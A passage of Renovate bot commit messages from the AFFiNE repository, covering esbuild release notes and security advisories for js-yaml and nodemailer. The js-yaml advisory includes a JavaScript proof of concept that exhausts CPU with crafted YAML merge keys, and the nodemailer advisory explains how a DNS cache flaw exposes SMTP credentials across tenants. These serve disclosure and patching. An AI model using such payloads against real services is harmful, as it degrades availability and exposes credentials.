4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>evanw/esbuild (esbuild)</summary> ### [`v0.28.1`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0281) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.28.0...v0.28.1) - Disallow `\` in local development server HTTP requests ([GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr)) This release fixes a security issue where HTTP requests to esbuild's local development server could traverse outside of the serve directory on Windows using a `\` backslash character. It happened due to the use of Go's `path.Clean()` function, which only handles Unix-style `/` characters. HTTP requests with paths containing `\` are no longer allowed. Thanks to [@​dellalibera](https://redirect.github.com/dellalibera) for reporting this issue. - Add integrity checks to the Deno API ([GHSA-gv7w-rqvm-qjhr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr)) The previous release of esbuild added integrity checks to esbuild's npm install script. This release also adds integrity checks to esbuild's Deno install script. Now esbuild's Deno API will also fail with an error if the downloaded esbuild binary contains something other than the expected content. Note that esbuild's Deno API installs from `registry.npmjs.org` by default, but allows the `NPM_CONFIG_REGISTRY` environment variable to override this with a custom package registry. This change means that the esbuild executable served by `NPM_CONFIG_REGISTRY` must now match the expected content. Thanks to [@​sondt99](https://redirect.github.com/sondt99) for reporting this issue. - Avoid inlining `using` and `await using` declarations ([#​4482](https://redirect.github.com/evanw/esbuild/issues/4482)) Previously esbuild's minifier sometimes incorrectly inlined `using` and `await using` declarations into subsequent uses of that declaration, which then fails to dispose of the resource correctly. This bug happened because inlining was done for `let` and `const` declarations by avoiding doing it for `var` declarations, which no longer worked when more declaration types were added. Here's an example: ```js // Original code { using x = new Resource() x.activate() } // Old output (with --minify) new Resource().activate(); // New output (with --minify) {using e=new Resource;e.activate()} ``` - Fix module evaluation when an error is thrown ([#​4461](https://redirect.github.com/evanw/esbuild/issues/4461), [#​4467](https://redirect.github.com/evanw/esbuild/pull/4467)) If an error is thrown during module evaluation, esbuild previously didn't preserve the state of the module for subsequent module references. This was observable if `import()` or `require()` is used to import a module multiple times. The thrown error is supposed to be thrown by every call to `import()` or `require()`, not just the first. With this release, esbuild will now throw the same error every time you call `import()` or `require()` on a module that throws during its evaluation. - Fix some edge cases around the `new` operator ([#​4477](https://redirect.github.com/evanw/esbuild/issues/4477)) Previously esbuild incorrectly printed certain edge cases involving complex expressions inside the target of a `new` expression (specifically an optional chain and/or a tagged template literal). The generated code for the `new` target was not correctly wrapped with parentheses, and either contained a syntax error or had different semantics. These edge cases have been fixed so that they now correctly wrap the `new` target in parentheses. Here is an example of some affected code: ```js // Original code new (foo()`bar`)() new (foo()?.bar)() // Old output new foo()`bar`(); new (foo())?.bar(); // New output new (foo())`bar`(); new (foo()?.bar)(); ``` - Fix renaming of nested `var` declarations ([#​4471](https://redirect.github.com/evanw/esbuild/issues/4471)) This release fixes a bug where `var` declarations in nested scopes that are hoisted up to module scope were not correctly being renamed during bundling. That could previously lead to name collisions when minification was disabled, which could potentially cause a behavior change. The bug has been fixed so that these hoisted declarations are now considered to be module-level symbols during the name collision avoidance pass. - Emit `var` instead of `const` for certain TypeScript-only constructs for ES5 ([#​4448](https://redirect.github.com/evanw/esbuild/issues/4448)) While esbuild doesn't generally support converting `const` to `var` for ES5 due to nested scoping rules (which is currently a build-time error), esbuild previously incorrectly converted TypeScript-only `import` assignment constructs into a `const` declaration even when targeting ES5. With this release, esbuild will now use `var` for this case instead: ```js // Original code import x = require('y') // Old output (with --target=es5) const x = require("y"); // New output (with --target=es5) var x = require("y"); ``` ### [`v0.28.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0280) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.7...v0.28.0) - Add support for `with { type: 'text' }` imports ([#​4435](https://redirect.github.com/evanw/esbuild/issues/4435)) The [import text](https://redirect.github.com/tc39/proposal-import-text) proposal has reached stage 3 in the TC39 process, which means that it's recommended for implementation. It has also already been implemented by [Deno](https://docs.deno.com/examples/importing_text/) and [Bun](https://bun.com/docs/guides/runtime/import-html). So with this release, esbuild also adds support for it. This behaves exactly the same as esbuild's existing [`text` loader](https://esbuild.github.io/content-types/#text). Here's an example: ```js import string from './example.txt' with { type: 'text' } console.log(string) ``` - Add integrity checks to fallback download path ([#​4343](https://redirect.github.com/evanw/esbuild/issues/4343)) Installing esbuild via npm is somewhat complicated with several different edge cases (see [esbuild's documentation](https://esbuild.github.io/getting-started/#additional-npm-flags) for details). If the regular installation of esbuild's platform-specific package fails, esbuild's install script attempts to download the platform-specific package itself (first with the `npm` command, and then with a HTTP request to `registry.npmjs.org` as a last resort). This last resort path previously didn't have any integrity checks. With this release, esbuild will now verify that the hash of the downloaded binary matches the expected hash for the current release. This means the hashes for all of esbuild's platform-specific binary packages will now be embedded in the top-level `esbuild` package. Hopefully this should work without any problems. But just in case, this change is being done as a breaking change release. - Update the Go compiler from 1.25.7 to 1.26.1 This upgrade should not affect anything. However, there have been some significant internal changes to the Go compiler, so esbuild could potentially behave differently in certain edge cases: - It now uses the [new garbage collector](https://go.dev/doc/go1.26#new-garbage-collector) that comes with Go 1.26. - The Go compiler is now more aggressive with allocating memory on the stack. - The executable format that the Go linker uses has undergone several changes. - The WebAssembly build now unconditionally makes use of the sign extension and non-trapping floating-point to integer conversion instructions. You can read the [Go 1.26 release notes](https://go.dev/doc/go1.26) for more information. ### [`v0.27.7`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0277) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.5...v0.27.7) - Fix lowering of define semantics for TypeScript parameter properties ([#​4421](https://redirect.github.com/evanw/esbuild/issues/4421)) The previous release incorrectly generated class fields for TypeScript parameter properties even when the configured target environment does not support class fields. With this release, the generated class fields will now be correctly lowered in this case: ```ts // Original code class Foo { constructor(public x = 1) {} y = 2 } // Old output (with --loader=ts --target=es2021) class Foo { constructor(x = 1) { this.x = x; __publicField(this, "y", 2); } x; } // New output (with --loader=ts --target=es2021) class Foo { constructor(x = 1) { __publicField(this, "x", x); __publicField(this, "y", 2); } } ``` ### [`v0.27.5`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0275) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.4...v0.27.5) - Fix for an async generator edge case ([#​4401](https://redirect.github.com/evanw/esbuild/issues/4401), [#​4417](https://redirect.github.com/evanw/esbuild/pull/4417)) Support for transforming async generators into the equivalent state machine was added in version 0.19.0. However, the generated state machine didn't work correctly when polling async generators concurrently, such as in the following code: ```js async function* inner() { yield 1; yield 2 } async function* outer() { yield* inner() } let gen = outer() for await (let x of [gen.next(), gen.next()]) console.log(x) ``` Previously esbuild's output of the above code behaved incorrectly when async generators were transformed (such as with `--supported:async-generator=false`). The transformation should be fixed starting with this release. This fix was contributed by [@​2767mr](https://redirect.github.com/2767mr). - Fix a regression when `metafile` is enabled ([#​4420](https://redirect.github.com/evanw/esbuild/issues/4420), [#​4418](https://redirect.github.com/evanw/esbuild/pull/4418)) This release fixes a regression introduced by the previous release. When `metafile: true` was enabled in esbuild's JavaScript API, builds with build errors were incorrectly throwing an error about an empty JSON string instead of an object containing the build errors. - Use define semantics for TypeScript parameter properties ([#​4421](https://redirect.github.com/evanw/esbuild/issues/4421)) Parameter properties are a TypeScript-specific code generation feature that converts constructor parameters into class fields when they are prefixed by certain keywords. When `"useDefineForClassFields": true` is present in `tsconfig.json`, the TypeScript compiler automatically generates class field declarations for parameter properties. Previously esbuild didn't do this, but esbuild will now do this starting with this release: ```ts // Original code class Foo { constructor(public x: number) {} } // Old output (with --loader=ts) class Foo { constructor(x) { this.x = x; } } // New output (with --loader=ts) class Foo { constructor(x) { this.x = x; } x; } ``` - Allow `es2025` as a target in `tsconfig.json` ([#​4432](https://redirect.github.com/evanw/esbuild/issues/4432)) TypeScript recently [added `es2025`](https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/#es2025-option-for-target-and-lib) as a compilation target, so esbuild now supports this in the `target` field of `tsconfig.json` files, such as in the following configuration file: ```json { "compilerOptions": { "target": "ES2025" } } ``` As a reminder, the only thing that esbuild uses this field for is determining whether or not to use legacy TypeScript behavior for class fields. You can read more in [the documentation](https://esbuild.github.io/content-types/#tsconfig-json). ### [`v0.27.4`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0274) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.3...v0.27.4) - Fix a regression with CSS media queries ([#​4395](https://redirect.github.com/evanw/esbuild/issues/4395), [#​4405](https://redirect.github.com/evanw/esbuild/issues/4405), [#​4406](https://redirect.github.com/evanw/esbuild/issues/4406)) Version 0.25.11 of esbuild introduced support for parsing media queries. This unintentionally introduced a regression with printing media queries that use the `<media-type> and <media-condition-without-or>` grammar. Specifically, esbuild was failing to wrap an `or` clause with parentheses when inside `<media-condition-without-or>`. This release fixes the regression. Here is an example: ```css /* Original code */ @media only screen and ((min-width: 10px) or (min-height: 10px)) { a { color: red } } /* Old output (incorrect) */ @media only screen and (min-width: 10px) or (min-height: 10px) { a { color: red; } } /* New output (correct) */ @media only screen and ((min-width: 10px) or (min-height: 10px)) { a { color: red; } } ``` - Fix an edge case with the `inject` feature ([#​4407](https://redirect.github.com/evanw/esbuild/issues/4407)) This release fixes an edge case where esbuild's `inject` feature could not be used with arbitrary module namespace names exported using an `export {} from` statement with bundling disabled and a target environment where arbitrary module namespace names is unsupported. With the fix, the following `inject` file: ```js import jquery from 'jquery'; export { jquery as 'window.jQuery' }; ``` Can now always be rewritten as this without esbuild sometimes incorrectly generating an error: ```js export { default as 'window.jQuery' } from 'jquery'; ``` - Attempt to improve API handling of huge metafiles ([#​4329](https://redirect.github.com/evanw/esbuild/issues/4329), [#​4415](https://redirect.github.com/evanw/esbuild/issues/4415)) This release contains a few changes that attempt to improve the behavior of esbuild's JavaScript API with huge metafiles (esbuild's name for the build metadata, formatted as a JSON object). The JavaScript API is designed to return the metafile JSON as a JavaScript object in memory, which makes it easy to access from within a JavaScript-based plugin. Multiple people have encountered issues where this API breaks down with a pathologically-large metafile. The primary issue is that V8 has an implementation-specific maximum string length, so using the `JSON.parse` API with large enough strings is impossible. This release will now attempt to use a fallback JavaScript-based JSON parser that operates directly on the UTF8-encoded JSON bytes instead of using `JSON.parse` when the JSON metafile is too big to fit in a JavaScript string. The new fallback path has not yet been heavily-tested. The metafile will also now be generated with whitespace removed if the bundle is significantly large, which will reduce the size of the metafile JSON slightly. However, hitting this case is potentially a sign that something else is wrong. Ideally you wouldn't be building something so enormous that the build metadata can't even fit inside a JavaScript string. You may want to consider optimizing your project, or breaking up your project into multiple parts that are built independently. Another option could potentially be to use esbuild's command-line API instead of its JavaScript API, which is more efficient (although of course then you can't use JavaScript plugins, so it may not be an option). ### [`v0.27.3`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0273) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.2...v0.27.3) - Preserve URL fragments in data URLs ([#​4370](https://redirect.github.com/evanw/esbuild/issues/4370)) Consider the following HTML, CSS, and SVG: - `index.html`: ```html <!DOCTYPE html> <html> <head><link rel="stylesheet" href="icons.css"></head> <body><div class="triangle"></div></body> </html> ``` - `icons.css`: ```css .triangle { width: 10px; height: 10px; background: currentColor; clip-path: url(./triangle.svg#x); } ``` - `triangle.svg`: ```xml <svg xmlns="http://www.w3.org/2000/svg"> <defs> <clipPath id="x"> <path d="M0 0H10V10Z"/> </clipPath> </defs> </svg> ``` The CSS uses a URL fragment (the `#x`) to reference the `clipPath` element in the SVG file. Previously esbuild's CSS bundler didn't preserve the URL fragment when bundling the SVG using the `dataurl` loader, which broke the bundled CSS. With this release, esbuild will now preserve the URL fragment in the bundled CSS: ```css /* icons.css */ .triangle { width: 10px; height: 10px; background: currentColor; clip-path: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg"><defs><clipPath id="x"><path d="M0 0H10V10Z"/></clipPath></defs></svg>#x'); } ``` - Parse and print CSS `@scope` rules ([#​4322](https://redirect.github.com/evanw/esbuild/issues/4322)) This release includes dedicated support for parsing `@scope` rules in CSS. These rules include optional "start" and "end" selector lists. One important consequence of this is that the local/global status of names in selector lists is now respected, which improves the correctness of esbuild's support for [CSS modules](https://esbuild.github.io/content-types/#local-css). Minification of selectors inside `@scope` rules has also improved slightly. Here's an example: ```css /* Original code */ @scope (:global(.foo)) to (:local(.bar)) { .bar { color: red; } } /* Old output (with --loader=local-css --minify) */ @scope (:global(.foo)) to (:local(.bar)){.o{color:red}} /* New output (with --loader=local-css --minify) */ @scope(.foo)to (.o){.o{color:red}} ``` - Fix a minification bug with lowering of `for await` ([#​4378](https://redirect.github.com/evanw/esbuild/pull/4378), [#​4385](https://redirect.github.com/evanw/esbuild/pull/4385)) This release fixes a bug where the minifier would incorrectly strip the variable in the automatically-generated `catch` clause of lowered `for await` loops. The code that generated the loop previously failed to mark the internal variable references as used. - Update the Go compiler from v1.25.5 to v1.25.7 ([#​4383](https://redirect.github.com/evanw/esbuild/issues/4383), [#​4388](https://redirect.github.com/evanw/esbuild/pull/4388)) This PR was contributed by [@​MikeWillCook](https://redirect.github.com/MikeWillCook). ### [`v0.27.2`](https://redirect.github.com/evanw/esbuild/releases/tag/v0.27.2) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.1...v0.27.2) - Allow import path specifiers starting with `#/` ([#​4361](https://redirect.github.com/evanw/esbuild/pull/4361)) Previously the specification for `package.json` disallowed import path specifiers starting with `#/`, but this restriction [has recently been relaxed](https://redirect.github.com/nodejs/node/pull/60864) and support for it is being added across the JavaScript ecosystem. One use case is using it for a wildcard pattern such as mapping `#/*` to `./src/*` (previously you had to use another character such as `#_*` instead, which was more confusing). There is some more context in [nodejs/node#49182](https://redirect.github.com/nodejs/node/issues/49182). This change was contributed by [@​hybrist](https://redirect.github.com/hybrist). - Automatically add the `-webkit-mask` prefix ([#​4357](https://redirect.github.com/evanw/esbuild/issues/4357), [#​4358](https://redirect.github.com/evanw/esbuild/issues/4358)) This release automatically adds the `-webkit-` vendor prefix for the [`mask`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/mask) CSS shorthand property: ```css /* Original code */ main { mask: url(x.png) center/5rem no-repeat } /* Old output (with --target=chrome110) */ main { mask: url(x.png) center/5rem no-repeat; } /* New output (with --target=chrome110) */ main { -webkit-mask: url(x.png) center/5rem no-repeat; mask: url(x.png) center/5rem no-repeat; } ``` This change was contributed by [@​BPJEnnova](https://redirect.github.com/BPJEnnova). - Additional minification of `switch` statements ([#​4176](https://redirect.github.com/evanw/esbuild/issues/4176), [#​4359](https://redirect.github.com/evanw/esbuild/issues/4359)) This release contains additional minification patterns for reducing `switch` statements. Here is an example: ```js // Original code switch (x) { case 0: foo() break case 1: default: bar() } // Old output (with --minify) switch(x){case 0:foo();break;case 1:default:bar()} // New output (with --minify) x===0?foo():bar(); ``` - Forbid `using` declarations inside `switch` clauses ([#​4323](https://redirect.github.com/evanw/esbuild/issues/4323)) This is a rare change to remove something that was previously possible. The [Explicit Resource Management](https://redirect.github.com/tc39/proposal-explicit-resource-management) proposal introduced `using` declarations. These were previously allowed inside `case` and `default` clauses in `switch` statements. This had well-defined semantics and was already widely implemented (by V8, SpiderMonkey, TypeScript, esbuild, and others). However, it was considered to be too confusing because of how scope works in switch statements, so it has been removed from the specification. This edge case will now be a syntax error. See [tc39/proposal-explicit-resource-management#215](https://redirect.github.com/tc39/proposal-explicit-resource-management/issues/215) and [rbuckton/ecma262#14](https://redirect.github.com/rbuckton/ecma262/pull/14) for details. Here is an example of code that is no longer allowed: ```js switch (mode) { case 'read': using readLock = db.read() return readAll(readLock) case 'write': using writeLock = db.write() return writeAll(writeLock) } ``` That code will now have to be modified to look like this instead (note the additional `{` and `}` block statements around each case body): ```js switch (mode) { case 'read': { using readLock = db.read() return readAll(readLock) } case 'write': { using writeLock = db.write() return writeAll(writeLock) } } ``` This is not being released in one of esbuild's breaking change releases since this feature hasn't been finalized yet, and esbuild always tracks the current state of the specification (so esbuild's previous behavior was arguably incorrect). ### [`v0.27.1`](https://redirect.github.com/evanw/esbuild/releases/tag/v0.27.1) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.0...v0.27.1) - Fix bundler bug with `var` nested inside `if` ([#​4348](https://redirect.github.com/evanw/esbuild/issues/4348)) This release fixes a bug with the bundler that happens when importing an ES module using `require` (which causes it to be wrapped) and there's a top-level `var` inside an `if` statement without being wrapped in a `{ ... }` block (and a few other conditions). The bundling transform needed to hoist these `var` declarations outside of the lazy ES module wrapper for correctness. See the issue for details. - Fix minifier bug with `for` inside `try` inside label ([#​4351](https://redirect.github.com/evanw/esbuild/issues/4351)) This fixes an old regression from [version v0.21.4](https://redirect.github.com/evanw/esbuild/releases/v0.21.4). Some code was introduced to move the label inside the `try` statement to address a problem with transforming labeled `for await` loops to avoid the `await` (the transformation involves converting the `for await` loop into a `for` loop and wrapping it in a `try` statement). However, it introduces problems for cross-compiled JVM code that uses all three of these features heavily. This release restricts this transform to only apply to `for` loops that esbuild itself generates internally as part of the `for await` transform. Here is an example of some affected code: ```js // Original code d: { e: { try { while (1) { break d } } catch { break e; } } } // Old output (with --minify) a:try{e:for(;;)break a}catch{break e} // New output (with --minify) a:e:try{for(;;)break a}catch{break e} ``` - Inline IIFEs containing a single expression ([#​4354](https://redirect.github.com/evanw/esbuild/issues/4354)) Previously inlining of IIFEs (immediately-invoked function expressions) only worked if the body contained a single `return` statement. Now it should also work if the body contains a single expression statement instead: ```js // Original code const foo = () => { const cb = () => { console.log(x()) } return cb() } // Old output (with --minify) const foo=()=>(()=>{console.log(x())})(); // New output (with --minify) const foo=()=>{console.log(x())}; ``` - The minifier now strips empty `finally` clauses ([#​4353](https://redirect.github.com/evanw/esbuild/issues/4353)) This improvement means that `finally` clauses containing dead code can potentially cause the associated `try` statement to be removed from the output entirely in minified builds: ```js // Original code function foo(callback) { if (DEBUG) stack.push(callback.name); try { callback(); } finally { if (DEBUG) stack.pop(); } } // Old output (with --minify --define:DEBUG=false) function foo(a){try{a()}finally{}} // New output (with --minify --define:DEBUG=false) function foo(a){a()} ``` - Allow tree-shaking of the `Symbol` constructor With this release, calling `Symbol` is now considered to be side-effect free when the argument is known to be a primitive value. This means esbuild can now tree-shake module-level symbol variables: ```js // Original code const a = Symbol('foo') const b = Symbol(bar) // Old output (with --tree-shaking=true) const a = Symbol("foo"); const b = Symbol(bar); // New output (with --tree-shaking=true) const b = Symbol(bar); ``` ### [`v0.27.0`](https://redirect.github.com/evanw/esbuild/releases/tag/v0.27.0) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.26.0...v0.27.0) **This release deliberately contains backwards-incompatible changes.** To avoid automatically picking up releases like this, you should either be pinning the exact version of `esbuild` in your `package.json` file (recommended) or be using a version range syntax that only accepts patch upgrades such as `^0.26.0` or `~0.26.0`. See npm's documentation about [semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more information. - Use `Uint8Array.fromBase64` if available ([#​4286](https://redirect.github.com/evanw/esbuild/issues/4286)) With this release, esbuild's `binary` loader will now use the new [`Uint8Array.fromBase64`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array/fromBase64) function unless it's unavailable in the configured target environment. If it's unavailable, esbuild's previous code for this will be used as a fallback. Note that this means you may now need to specify `target` when using this feature with Node (for example `--target=node22`) unless you're using Node v25+. - Update the Go compiler from v1.23.12 to v1.25.4 ([#​4208](https://redirect.github.com/evanw/esbuild/issues/4208), [#​4311](https://redirect.github.com/evanw/esbuild/pull/4311)) This raises the operating system requirements for running esbuild: - Linux: now requires a kernel version of 3.2 or later - macOS: now requires macOS 12 (Monterey) or later ### [`v0.26.0`](https://redirect.github.com/evanw/esbuild/releases/tag/v0.26.0) [Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.25.12...v0.26.0) - Enable trusted publishing ([#​4281](https://redirect.github.com/evanw/esbuild/issues/4281)) GitHub and npm are recommending that maintainers for packages such as esbuild switch to [trusted publishing](https://docs.npmjs.com/trusted-publishers). With this release, a VM on GitHub will now build and publish all of esbuild's packages to npm instead of me. In theory. Unfortunately there isn't really a way to test that this works other than to do it live. So this release is that live test. Hopefully this release is uneventful and is exactly the same as the previous one (well, except for the green provenance attestation checkmark on npm that happens with trusted publishing). </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
beaeb5e7df |
chore: bump up js-yaml version to v5.4.1 [SECURITY] (#15664)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`5.2.3` → `5.4.1`](https://renovatebot.com/diffs/npm/js-yaml/5.2.3/5.4.1) |  |  | | [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`^3.15.1` → `^5.0.0`](https://renovatebot.com/diffs/npm/js-yaml/3.15.2/5.4.1) |  |  | --- ### js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources [GHSA-r3ph-w7gj-g6xm](https://redirect.github.com/advisories/GHSA-r3ph-w7gj-g6xm) <details> <summary>More information</summary> #### Details ##### Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ##### Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ##### PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ##### Impact When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ##### Fix Count every merge source mapping as one budget unit in addition to counting its keys. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm) - [https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480](https://redirect.github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480) - [https://github.com/nodeca/js-yaml/releases/tag/5.4.1](https://redirect.github.com/nodeca/js-yaml/releases/tag/5.4.1) - [https://github.com/advisories/GHSA-r3ph-w7gj-g6xm](https://redirect.github.com/advisories/GHSA-r3ph-w7gj-g6xm) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-r3ph-w7gj-g6xm) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>nodeca/js-yaml (js-yaml)</summary> ### [`v5.4.1`](https://redirect.github.com/nodeca/js-yaml/compare/5.4.0...5.4.1) [Compare Source](https://redirect.github.com/nodeca/js-yaml/compare/5.4.0...5.4.1) ### [`v5.4.0`](https://redirect.github.com/nodeca/js-yaml/blob/HEAD/CHANGELOG.md#540---2026-08-25) [Compare Source](https://redirect.github.com/nodeca/js-yaml/compare/5.3.0...5.4.0) ##### Added - Added the `scalarStyleRules` dumper option to customize string formatting. See [Scalar styling](docs/scalar_styling.md) for details. ##### Changed - \[breaking] Flattened the low-level AST node style representation. Scalar and collection nodes now use `SCALAR_STYLE` and `COLLECTION_STYLE` values; explicit tags use the separate `tagged` property. Alias nodes now contain only `kind` and `anchor`. This only affects code that directly constructs or edits AST nodes. - \[breaking] The `sortKeys` option was rewritten using AST mutation to avoid side effects. - Reworked scalar style selection. This can change formatting without changing loaded values; in particular, whitespace-only strings are now double-quoted. ##### Fixed - Accept a byte order mark at the start of each document in a stream, [#​791](https://redirect.github.com/nodeca/js-yaml/issues/791). - Produce valid flow mappings with `quoteFlowKeys` and `flowSkipColonSpace`, including alias and property-only keys, [#​786](https://redirect.github.com/nodeca/js-yaml/issues/786). - Preserve empty scalar items when converting block sequences to flow style. - Do not apply the 1024-character simple-key limit to flow mapping keys. - Count Unicode code points, rather than UTF-16 code units, for the 1024-character simple-key limit. - Add an explicit document-end marker after keep-chomped block scalars when needed to preserve trailing newlines. ### [`v5.3.0`](https://redirect.github.com/nodeca/js-yaml/blob/HEAD/CHANGELOG.md#530---2026-08-14) [Compare Source](https://redirect.github.com/nodeca/js-yaml/compare/5.2.3...5.3.0) This release focuses on reworking the documentation and making small architectural improvements before moving forward. ##### Added - Added completely new documentation. - Exported `DUMP_SCHEMA`, the default schema used by the dumper. - Added `YAMLException.throwAt()` for throwing an error at a source position. ##### Changed - Changed flat constant exports to grouped exports: `EVENT_ID`, `SCALAR_STYLE`, `COLLECTION_STYLE`, and `CHOMPING_MODE`, along with their value types. The old exports are still preserved, but deprecated. - Made `identify` mandatory for custom tag definitions. Use `identify: () => false` for load-only tags. ##### Deprecated - Deprecated flat constant exports. Use grouped ones instead. ##### Removed - Removed the `MERGE_KEY` export (not used anymore after last fixes). ##### Fixed - Validate `<<` sequence items at merge time, so aliased merge sources are checked too. - Resolve `<<` outside of a mapping key as the plain string `'<<'`, matching v4, instead of leaking an internal symbol into the result. </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
6b8a580a33 |
chore: bump up nodemailer version to v10 [SECURITY] (#15665)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [nodemailer](https://nodemailer.com/) ([source](https://redirect.github.com/nodemailer/nodemailer)) | [`^9.1.1` → `^10.0.0`](https://renovatebot.com/diffs/npm/nodemailer/9.1.1/10.0.9) |  |  | --- ### Nodemailer: Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure [GHSA-6vj9-mwq6-2f5v](https://redirect.github.com/advisories/GHSA-6vj9-mwq6-2f5v) <details> <summary>More information</summary> #### Details ##### Summary Nodemailer's process-global DNS cache is keyed only by `host`, but each cache entry also stores the caller-specific TLS `servername`. When two direct SMTPS transports use the same DNS host with different `tls.servername` values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value. As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with `rejectUnauthorized: true`, and sends the victim's SMTP credentials to it. ##### Affected component - **Ecosystem:** npm - **Package:** `nodemailer` - **Repository:** https://github.com/nodemailer/nodemailer - **Tested version:** `10.0.1` - **Tested commit:** `40d52215aac65b811d7e131bc916f68605efd9d2` - **Runtime-confirmed vulnerable versions:** `5.0.0` and `10.0.1` - **Affected versions:** `>= 5.0.0, <= 10.0.1` - **Patched versions:** None known at the time of this report - **Affected mode:** Direct TLS/SMTPS connections (`secure: true`) where different transports use the same non-IP `host` and different TLS `servername` values The vulnerable cache implementation was introduced in commit `6859b5dd96c8d9f0070a3169a877181b71df4a3b` on 2018-12-28. Git history shows `v5.0.0` as the first release tag containing that commit. The behavior remains present in `v10.0.1`. ##### Details ##### Root cause `src/shared/index.ts` defines one module-global DNS cache, keyed only by the DNS host: ```ts export const dnsCache = new Map<string, DnsCacheEntry>(); ``` Although the cache key 